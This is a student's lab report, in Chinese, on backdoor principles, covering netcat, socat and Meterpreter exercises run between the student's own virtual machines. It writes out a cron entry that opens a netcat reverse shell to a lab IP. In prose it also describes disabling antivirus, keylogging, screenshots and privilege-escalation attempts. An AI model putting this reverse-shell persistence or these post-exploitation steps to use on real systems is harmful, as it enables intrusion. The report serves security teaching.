20145212罗天晨 后门原理与实践

20145212罗天晨 后门原理与实践

---

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

• 我们在安装常用应用软件时，安装过程中附带的可能就有后门程序。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

• windows：实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
• linux：通过在cron中添加任务，定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。

(3)Meterpreter有哪些给你映像深刻的功能？

• 可以获取目标主机摄像头摄像头摄像头！！！这个功能好可怕……
• 可以提权，并且针对不同的系统，提权的方式有很多种，由于我在实验中尝试用getsystem提权失败之后上网查看了教程，愈发觉得meterpreter很强大很可怕。。其中找到一篇写了windows下各种提权方法的博客，我后来的提权操作也是从这里借鉴的：
  Windows的多种提权方法

(4)如何发现自己有系统有没有被安装后门？

• 低级一点的后门程序估计寻常的杀毒软件就可以查杀，比如我这次实验做的，一发送给win10主机就被360毙了。
• 至于隐藏的稍深一些的后门，例如与软件捆绑的后门，我查了一下方法，可以下载一些比较专业的监视软件，例如下载者监视器1.0、Regmon704.rar等进行检测。
• 还可以用抓包工具分析可疑软件是否有可疑操作，比如连接了一些乱七八糟的ip、在注册表项里操作了之类的。

---

实验总结体会

做了这次实验觉得小时候看起来无懈可击的电脑实际上漏洞百出，很容易就能被攻击。而且一些后门的存在让人有些无力感，因为windows操作系统本身就极有可能被留有后门……这样的话就算自己再怎么查杀也还是无法幸免，而且其他的操作系统大概也是一样的，感觉好不安。

---

实践过程记录

一、ncat的使用

1.实现两台虚拟机的互联

• 本实验中实现了与5226夏艺华的虚拟机互联，以下是对话截图=..=
  
  

2.让本机的Windows获得Linux的Shell

• 如图所示，使用本机windows系统获得linux系统的shell：
  

3.让linux获得windows的shell

• 如图所示，在虚拟机中获得了windows的shell之后我输入了ipconfig，成功查看到了windows本机的ip地址信息，不过有很多乱码。
  
  

4.使用ncat实现文件传输

• 如图所示，先在windows中打开监听，然后在linux系统中发送文件：
  
  
• 传输的文件保存在了C:\Users\Lenovo路径下，可以查看：(一开始以为保存在ncat所在的文件目录下=o=找了半天)
  

5.cron的启动

• 这里首先在linux中输入crontab -e指令，通过编辑增加一条定时任务
  从图中可以看出我输入的是29 * * * * /bin/netcat 10.1.1.120 5212 -e /bin/sh
  意味着在每个小时的29分，如果有一台ip地址为10.1.1.120的主机监听着linux，就会得到一个shell
  

• 29分之前在主机上输入什么都不会有显示，但是一到29分，就可以使用指令查看虚拟机中的相关信息，这里我使用了ls指令，结果如下：
  

……比较好奇为什么这里使用ls查看到的内容和第二步让本机的Windows获得Linux的Shell中查看到的不一样，而且有乱码…

---

二、socat的使用

使用socat获取主机操作Shell

• 原理和之前使用ncat的时候是一样的，这次在linux上绑定端口并且反弹连接，使用windows系统开启监听
• 这里也是在成功之后使用了ifconfig和ls进行测试：
  
  
  

任务计划启动

• 在主机的控制面板中找到计划任务，打开任务计划程序，创建一个新任务，在操作选项中选择如下：
  

• 进行测试：

三、meterpreter的使用

1.生成后门程序

• 在虚拟机上使用指令生成后门程序，并通过ncat发送到windows主机上

• 这里没关360的时候直接被发现并且查杀了……
  

• 关闭360之后，打开msf进行相关设置，将端口号和ip地址都改成和生成后门程序时一样的数据，再在windows上运行后门程序：
  

• 得到shell，输入dir可以显示windows的磁盘目录信息：
  

• 可以通过shell指令得到windows的命令行界面，部分乱码可以忽略，这里使用了slmgr/div命令进行测试，主机上弹出版本号信息：
  

• 对windows主机进行击键记录：
  

• 对主机进行截屏并查看：
  

• 安装系统服务：
  

• 提升权限：

输入getuid查看当前用户权限
输入getsystem进行提权，但是这里显示由于环境错误，提权失败

换提权方式：使用MS14-058之类的Exp进行提权，结果这个模块对于64为机不适用

再换==这次显示win10不易受这个攻击？？

我是该高兴自己的win10稍微安全那么一点点吗？……试了半天发现都没有正确的攻破win10……于是果断的换成了攻击我安装的win7虚拟机……
成功的进行了提权：